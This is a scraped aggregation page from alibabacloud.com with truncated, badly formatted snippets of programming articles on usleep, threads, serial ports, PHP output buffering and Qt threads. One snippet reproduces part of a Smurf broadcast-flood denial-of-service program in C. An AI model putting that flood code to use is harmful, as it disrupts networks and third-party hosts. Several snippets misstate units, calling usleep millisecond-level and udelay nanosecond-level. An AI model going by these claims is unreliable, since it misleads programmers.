objective c usleep

Read about objective c usleep, The latest news, videos, and discussion topics about objective c usleep from alibabacloud.com

[Cocos2d-x game engine development notes (23)] multithreading and thread synchronization

global variable. Each time one ticket is sold, the number of tickets is reduced by one. The synchronized pthread_mutex_t is also a global variable, which is used for thread synchronization. void* HelloWorld::th_run(void *r){Student *s=(Student*)(r);CCLog("name is %s,and age is %d,sex is %s",s->name.c_str(),s->age,s->sex.c_str());delete s;while(true){pthread_mutex_lock(mutex);if(ticket>0){CCLog("thread run sell %d",ticket);ticket--;pthread_mutex_unlock(mutex);}else{pthread_mutex_unlock(mutex);b

A sound program

parameter to the default value */ Beep_parms_t parms = {default_freq, default_length, default_reps, default_delay }; /* Analyze parameters. If possible, update the audible parameters */ Parse_command_line (argv, parms ); /* Open the console and terminate the program if it fails */ If (console_fd = open ("/dev/DSP", o_wronly) =-1) { Fprintf (stderr, "failed to open console./N "); Perror ("open "); Exit (1 ); } /* Start to let the speaker speak */ For (I = 0; I {/* Do not know

[Rk_2014_0910] possible causes of incomplete serial data reception in serial Programming

receiver is incomplete. (4) there may be other reasons. Please add them later. [Solution] (1) Check the serial port parameter settings of the sender and receiver. In addition, check the serial code at both ends carefully. (2) Close the serial port instead of opening it frequently. (3) Add the latency code to the sender program. [Latency function] The latency function in Ubuntu is:Sleep () // secondsUsleep () // millisecond level, 1 second = 10 ^ 6 millisecondsNanosleep () // nanoseconds, 1

Sleep function usage

Application:# Include Usleep (n) // n microsecondsSleep (n) // n MsSleep (n) // n secondsDriver:# Include Mdelay (n) // milliseconds implementation# Ifdef notdef# Define mdelay (N )(/{Unsigned long MSEC = (n); While (MSEC --) udelay (1000 );})# Else# Define mdelay (N )(/(_ Builtin_constant_p (n) (n) ({Unsigned long MSEC = (n); While (MSEC --) udelay (1000 );}))# EndifCall the udelay of ASM/delay. h. The udelay should be a latency of nanoseconds. DoS:

Implementation of nginx spinlock

the spin-Wait loop. Http://blog.csdn.net/misterliwei/article/details/3951103 D. Waiting for a long time or not get the lock, had to let out the CPU. But must let out a very small for a while. Otherwise it will not be called spin lock. How to let out the CPU, but there can be quickly back? The kernel provides the sched_yield () function sched_yield (). The main function is to run a thread with another level equal to or higher than the current thread. If there is no qualified thread, the function

Implementation of HTTP live streaming live video broadcast on Android (version update, support for hd aac video)

you have time to video, you can use a timer (reduce power consumption) to open a thread. H264 and AMR-NB are transplanted from opencore, the mobile phone with baseline enough. If you want to support AAC, you can use the AAC decoder of Helix or opencore AAC decoder. The latency caused by JNI decoding and re-transmission to the display on the Java layer is intolerable. Therefore, you can directly render the image and sound on the ndk layer. You can refer to the practices in the android FFMPEG ope

Recv send blocking and non-blocking

the receiver, so that the read and write operations will continue. When the buffer zone is full, the eagain error will occur (refer to manAnd ignore the data sent in this request. therefore, the socket_send () function needs to be encapsulated to handle this situation. This function will try to write the data and then return it. "-1" indicates an error. Within socket_send (), when the write buffer is full (send () returns-1 and errno is eagain), the system will wait and try again. this method i

Solution when flush ()-based output cannot be in sequence

This article provides a detailed analysis of the solution for flush () not output in sequence. For more information, see if you want to add ob_start () in linux () and ob_flush (). The code is as follows: Ob_start (); For ($ I = 1; $ I Echo $ I ." \ N "; Ob_flush (); Flush (); Usleep (500000 ); } If the output is still unavailable, add the header information before the code. The code is as follows: Header ("Content-Type: text/html;

How can I determine the set function execution time? -Php Tutorial

(); // error_reporting ($ es ); // restore function time_out_callback () {if (connection_status () = 2) {B () ;}} function c () {// your possible timeout code echo _ FUNCTION __, ''; while (true) {echo '. '; // echo connection_status ().""; // Echo 0 usleep (100000); // breathe the cpu} function B () {echo''. _ FUNCTION __, ''; echo 'c timeout connection status:'. connection_status (); // echo 2, c timeout} Php itself provides such featuresPretty

PHP implements the linux command tail-f

file_size and file_size_new are both 0. Update the file_size_new file size in the loop. Note that before getting the file size in php, run the clearstatcache () function to clear the file status cache. Otherwise, the file size may be deviated. Calculate add_size = file_size_new-file_size to check whether the file size has changed. if there is any change, move the file pointer to the specified position, and then output the newly added content to update the file_size value to new_file_

Test memory for PHP games

[$ len-1], 'maximum number '); $ Questions ['min'] = array ($ arr [0], 'minimum number '); If ($ len % 2 ){ $ Questions ['mid '] = array ($ arr [intval ($ len/2)], 'intermediate number '); } If ($ len> 3 ){ $ Questions ['second'] = array ($ arr [$ len-2], 'second number '); $ Questions ['finally _ second'] = array ($ arr [1], 'second digit '); } Shuffle ($ questions ); $ Tmp = array_shift ($ questions ); $ This-> _ answer = $ tmp [0]; $ This-> _ display (join ("", $ this-> _ digitals), range (5

Common attack software source code (c)

= socket (AF_INET, SOCK_RAW, IPPROTO_RAW) Perror ("getting socket ");Exit (-1 );}Setsockopt (sock, SOL_SOCKET, SO_BROADCAST, (char *) bcast, sizeof (bcast )); Printf ("Flooding % s (. = 25 outgoing packets) \ n", argv [1]); For (I = 0; I If (! (I % 25) {printf ("."); fflush (stdout );}Smurf (sock, sin, inet_addr (bcastaddr [cycle]), pktsize );Cycle ++;If (bcastaddr [cycle] = 0x0) cycle = 0;Usleep (delay );}Puts ("\ n ");Return 0;} Void banner (void)

Linux Registration System Service

Linux registration system service registers a system service and starts it automatically upon startup. www.2cto.com 1 script # vim test. sh [python] #! /Bin/bash # description: hello. sh # chkconfig: 2345 20 81 EXEC_PATH =/usr/local/EXEC = hello. sh DAEMON =/usr/local/hello. sh PID_FILE =/var/run/hello. sh. pid. /etc/rc. d/init. d/functions if [! -X $ EXEC_PATH/$ EXEC]; then echo "ERROR: $ DAEMON not found" exit 1 fi stop () {echo "Stoping $ EXEC... "ps aux | grep" $ DAEMON "| kill-9 'awk' {prin

Analysis of run loop in iOS

Analysis of run loop in iOSAnalysis of run loop in iOS Although runloop is an important concept related to thread thinking, runloop in cocoa is not used much at all, but it is not getting started with its "why" in related blog posts ". So a few days of study, I have to share a rough text, as a note, write down its own. I am not very grateful for any errors or errors.Run loop After the thread is executed, it will be destroyed. To keep the thread running, we can get a run loop in the thread to kee

Code porting from Windows to Linux

functions from Windows to Linux Suppose you have some code written in the Windows environment. If you want them to run in the Linux environment, the condition is that you must keep the original API signature called. For example, if Sleep exists in Windows and the corresponding function in Linux is usleep, how can we keep the original function name called? The following code is used as an example: Void Sleep (unsigned int useconds){// 1 mill

PHP socket communication (TCP/UDP)

Note: 1. When socket_bind is used, the IP address cannot be a real loopback address, for example, 127.0.0.1. 2. When server. php is running in the backgroundNohup PHP server. php>/var/tmp/a. log 2> 1 I. UDP 1) server. php PHP // Error_reporting (e_all ); Set_time_limit (0 ); Ob_implicit_flush (); $ Socket = Socket_create (af_inet, sock_dgram, Sol_udp ); If ($ Socket === False ){ Echo "Socket_create () failed: reason:". socket_strerror (socket_last_error (). "\ n" ;} $ OK =

[QT] qthread class details

This class provides independent threads for the platform.# Include Inherit qobjectPublic typeEnumPriority {idlepriority, lowestpriority, lowpriority, normalpriority,..., Inheritpriority}Common functionsQthread (qobject * parent = 0)~ Qthread () void exit (INT returncode = 0) bool isfinished () constboolIsrunning() Constpriority priority () constvoid setpriority (Priority priority) Void setstacksize (uintStacksize) uint stacksize () constbool wait(Unsigned long time = ulong_max)Public slotVoid qu

PHP5 common functions overview _ PHP Tutorial

PHP5 common function list overview. The usleep () function delays code execution in several microseconds. The unpack () function unpacks data from binary strings. The uniqid () function generates a unique The usleep () function delays code execution in several microseconds. The unpack () function unpacks data from binary strings. The uniqid () function generates a unique ID based on the current time in mic

Analysis and Research on PHP process locking

); If ($ config_file_lock_path = null ){ $ This-> name = dirname (_ FILE _). "/lock/". $ this-> name; } Else { $ This-> name = $ config_file_lock_path. "/". $ this-> name; } } $ This-> mode = $ mode; $ This-> handle = @ fopen ($ this-> name, $ mode ); If ($ this-> handle = false ){ Throw new Exception ($ php_errormsg ); } } Public function close () { If ($ this-> handle! = Null ){ @ Fclose ($ this-> handle ); $ This-> handle = null; } } Public function _ destruct () { $ This-> close (); } Publi

Analysis of process lock problem _ PHP Tutorial

Analysis and Research on process lock issues .? Php *** write lock test * open thread 1 * require (file_lock.php); $ locknewFile_Lock (dirname (_ FILE __)). fileLock. lock); ** the lock speed of a single thread is 1. /** * Write lock test * Open thread 1 */ Require ("file_lock.php "); $ Lock = new File_Lock (dirname (_ FILE _). "/FileLock. lock "); /** The lock speed of a single thread is 30 thousand times per second. **/ /** Two threads write, 20 thousand of the data is about 7 s */ /** Write d

Total Pages: 15 1 .... 11 12 13 14 15 Go to: Go

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.